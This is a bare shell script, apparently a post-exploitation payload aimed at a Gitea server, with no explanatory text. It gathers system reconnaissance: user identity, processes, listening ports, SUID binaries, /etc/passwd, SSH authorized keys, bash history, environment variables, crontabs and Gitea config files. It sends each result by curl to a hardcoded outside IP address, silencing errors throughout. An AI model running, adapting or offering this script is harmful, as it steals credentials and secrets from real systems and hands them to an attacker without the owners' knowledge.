#!/bin/sh

# id
OUTPUT=$(id 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd00 || true

# whoami
OUTPUT=$(whoami 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd01 || true

# hostname
OUTPUT=$(hostname 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd02 || true

# uname -a
OUTPUT=$(uname -a 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd03 || true

# cat /etc/os-release
OUTPUT=$(cat /etc/os-release 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd04 || true

# pwd
OUTPUT=$(pwd 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd05 || true

# ls -la /
OUTPUT=$(ls -la / 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd06 || true

# ls -la /home/
OUTPUT=$(ls -la /home/ 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd07 || true

# env | head -30
OUTPUT=$(env | head -30 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd08 || true

# ps aux | head -40
OUTPUT=$(ps aux | head -40 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd09 || true

# ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null
OUTPUT=$(ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd10 || true

# cat /etc/hosts
OUTPUT=$(cat /etc/hosts 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd11 || true

# df -h
OUTPUT=$(df -h 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd12 || true

# find / -perm -4000 -type f 2>/dev/null | head -20
OUTPUT=$(find / -perm -4000 -type f 2>/dev/null | head -20 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd13 || true

# cat ~/.ssh/authorized_keys 2>/dev/null || echo NO_SSH_KEYS
OUTPUT=$(cat ~/.ssh/authorized_keys 2>/dev/null || echo NO_SSH_KEYS 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd14 || true

# cat ~/.bash_history 2>/dev/null || echo NO_BASH_HISTORY
OUTPUT=$(cat ~/.bash_history 2>/dev/null || echo NO_BASH_HISTORY 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd15 || true

# cat /etc/passwd
OUTPUT=$(cat /etc/passwd 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd16 || true

# cat /app/gitea/custom/conf/app.ini 2>/dev/null || cat /data/gitea/conf/app.ini 2>/dev/null || echo NO_GITEA_CONFIG
OUTPUT=$(cat /app/gitea/custom/conf/app.ini 2>/dev/null || cat /data/gitea/conf/app.ini 2>/dev/null || echo NO_GITEA_CONFIG 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd17 || true

# cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null || echo NO_CRON
OUTPUT=$(cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null || echo NO_CRON 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd18 || true

# find /app /data /home /opt -name '*.ini' -o -name '*.conf' -o -name '*.yaml' -o -name '*.yml' 2>/dev/null | head -30
OUTPUT=$(find /app /data /home /opt -name '*.ini' -o -name '*.conf' -o -name '*.yaml' -o -name '*.yml' 2>/dev/null | head -30 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd19 || true

# ls -la /app/gitea/ 2>/dev/null || ls -la /data/gitea/ 2>/dev/null || echo NO_GITEA_DIR
OUTPUT=$(ls -la /app/gitea/ 2>/dev/null || ls -la /data/gitea/ 2>/dev/null || echo NO_GITEA_DIR 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd20 || true

# ip addr 2>/dev/null || ifconfig 2>/dev/null
OUTPUT=$(ip addr 2>/dev/null || ifconfig 2>/dev/null 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd21 || true

# route -n 2>/dev/null || ip route 2>/dev/null
OUTPUT=$(route -n 2>/dev/null || ip route 2>/dev/null 2>&1 | head -100)
echo "$OUTPUT" | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cmd22 || true
